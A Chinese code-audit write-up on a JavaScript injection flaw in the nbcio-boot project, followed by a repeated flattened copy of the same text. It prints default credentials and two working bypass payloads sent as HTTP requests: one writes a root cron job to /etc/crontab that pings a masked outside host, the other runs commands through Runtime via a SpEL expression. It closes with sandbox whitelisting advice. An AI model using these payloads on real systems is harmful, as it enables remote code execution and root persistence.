nbcio-boot代码审计之JS注入攻守道
字数 1264 2025-08-22 12:23:41

nbcio-boot代码审计之JS注入攻守道 - 漏洞分析与防御策略

一、项目基本信息

  • 项目地址: https://gitee.com/nbacheng/nbcio-boot.git
  • 默认凭证: admin/123456

二、漏洞概述

该系统存在JavaScript表达式注入漏洞,攻击者可通过构造特殊POC绕过现有防御机制,实现任意代码执行。

三、漏洞分析

1. 初始漏洞

初始版本存在直接通过JavaScript调用Java类执行系统命令的能力。

2. 初始修复措施

系统进行了第一次修复,主要措施包括:

  • java.lang.Runtime等关键类实施黑名单过滤
  • 在返回的engine容器中排除这些危险类

修复代码位置:
https://gitee.com/nbacheng/nbcio-boot/blob/master/nbcio-module-estar/src/main/java/com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java

3. 漏洞绕过技术

方法一:文件写入触发命令执行

POC:

var File=Java.type("java.io.File");  
var file=new File("/etc/crontab");  
var FileWriter=Java.type("java.io.FileWriter");  
var fw=new FileWriter(file);  
var BufferedWriter=Java.type("java.io.BufferedWriter");  
var bw=new BufferedWriter(fw);  
var str="* * * * * root ping p5.*****.top";  
bw.write(str);bw.flush();bw.close();

攻击原理:

  1. 通过JavaScript调用Java文件操作类
  2. /etc/crontab写入定时任务
  3. 定时任务执行攻击者指定的命令

请求示例:

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.131:8081
Content-Type: application/json;charset=UTF-8
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y

{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"var File=Java.type(\"java.io.File\");var file=new File(\"/etc/crontab\");var FileWriter=Java.type(\"java.io.FileWriter\");var fw=new FileWriter(file);var BufferedWriter=Java.type(\"java.io.BufferedWriter\");var bw=new BufferedWriter(fw);var str=\"* * * * * root ping p1.*****.top\\n\";bw.write(str);bw.flush();bw.close();"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}

方法二:通过SPEL表达式间接执行命令

POC:

var A=Java.type("org.springframework.expression.spel.standard.SpelExpressionParser");  
var B=new A;  
var C=B.parseExpression("T(java.lang.Runtime).getRuntime().exec('*****')");  
var D=C.getValue();

攻击原理:

  1. 调用Spring框架的SpelExpressionParser
  2. 通过SPEL表达式间接调用Runtime执行命令
  3. 绕过对JavaScript引擎的直接限制

请求示例:

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.131:8081
Content-Type: application/json;charset=UTF-8
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y

{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"var A=Java.type(\"org.springframework.expression.spel.standard.SpelExpressionParser\");var B=new A;var C=B.parseExpression(\"T(java.lang.Runtime).getRuntime().exec('ping p5.*****.top')\");var D=C.getValue();"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}

四、防御策略

1. 现有防御的问题

  • 采用黑名单机制,防御面有限
  • 无法防范未知的攻击向量
  • 容易被间接调用方式绕过

2. 推荐防御方案

使用NashornSandbox沙箱实现白名单防御:

  1. 配置白名单:只允许特定的Java类和操作
  2. 限制资源访问:控制文件系统、网络等敏感操作
  3. 防止死循环:设置执行超时限制

参考资源:

  • https://blog.csdn.net/gitblog_00274/article/details/142838510
  • https://gitcode.com/gh_mirrors/de/delight-nashorn-sandbox/

3. 实施效果

  • 调用非白名单类时会报错
  • 常规JavaScript语句可正常执行
  • 有效阻断命令执行等危险操作

五、总结

  1. 黑名单防御机制存在固有缺陷,应采用白名单策略
  2. JavaScript引擎与Java交互存在多种潜在攻击面
  3. 沙箱环境是解决此类问题的有效方案
  4. 防御措施需考虑多种攻击场景,包括但不限于:
    • 直接命令执行
    • 间接文件操作
    • 框架特性滥用
    • 资源耗尽攻击

六、扩展思考

  1. 其他可能的攻击向量:

    • 通过反射机制绕过限制
    • 利用其他Java内置类实现攻击
    • 组合多种技术实现更隐蔽的攻击
  2. 防御措施的完善方向:

    • 结合静态分析和动态沙箱
    • 实施细粒度的权限控制
    • 增加行为监控和审计日志
nbcio-boot代码审计之JS注入攻守道 - 漏洞分析与防御策略 一、项目基本信息 项目地址 : https://gitee.com/nbacheng/nbcio-boot.git 默认凭证 : admin/123456 二、漏洞概述 该系统存在JavaScript表达式注入漏洞,攻击者可通过构造特殊POC绕过现有防御机制,实现任意代码执行。 三、漏洞分析 1. 初始漏洞 初始版本存在直接通过JavaScript调用Java类执行系统命令的能力。 2. 初始修复措施 系统进行了第一次修复,主要措施包括: 对 java.lang.Runtime 等关键类实施黑名单过滤 在返回的engine容器中排除这些危险类 修复代码位置: https://gitee.com/nbacheng/nbcio-boot/blob/master/nbcio-module-estar/src/main/java/com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java 3. 漏洞绕过技术 方法一:文件写入触发命令执行 POC : 攻击原理 : 通过JavaScript调用Java文件操作类 向 /etc/crontab 写入定时任务 定时任务执行攻击者指定的命令 请求示例 : 方法二:通过SPEL表达式间接执行命令 POC : 攻击原理 : 调用Spring框架的SpelExpressionParser 通过SPEL表达式间接调用Runtime执行命令 绕过对JavaScript引擎的直接限制 请求示例 : 四、防御策略 1. 现有防御的问题 采用黑名单机制,防御面有限 无法防范未知的攻击向量 容易被间接调用方式绕过 2. 推荐防御方案 使用 NashornSandbox 沙箱实现白名单防御: 配置白名单 :只允许特定的Java类和操作 限制资源访问 :控制文件系统、网络等敏感操作 防止死循环 :设置执行超时限制 参考资源 : https://blog.csdn.net/gitblog_ 00274/article/details/142838510 https://gitcode.com/gh_ mirrors/de/delight-nashorn-sandbox/ 3. 实施效果 调用非白名单类时会报错 常规JavaScript语句可正常执行 有效阻断命令执行等危险操作 五、总结 黑名单防御机制存在固有缺陷,应采用白名单策略 JavaScript引擎与Java交互存在多种潜在攻击面 沙箱环境是解决此类问题的有效方案 防御措施需考虑多种攻击场景,包括但不限于: 直接命令执行 间接文件操作 框架特性滥用 资源耗尽攻击 六、扩展思考 其他可能的攻击向量: 通过反射机制绕过限制 利用其他Java内置类实现攻击 组合多种技术实现更隐蔽的攻击 防御措施的完善方向: 结合静态分析和动态沙箱 实施细粒度的权限控制 增加行为监控和审计日志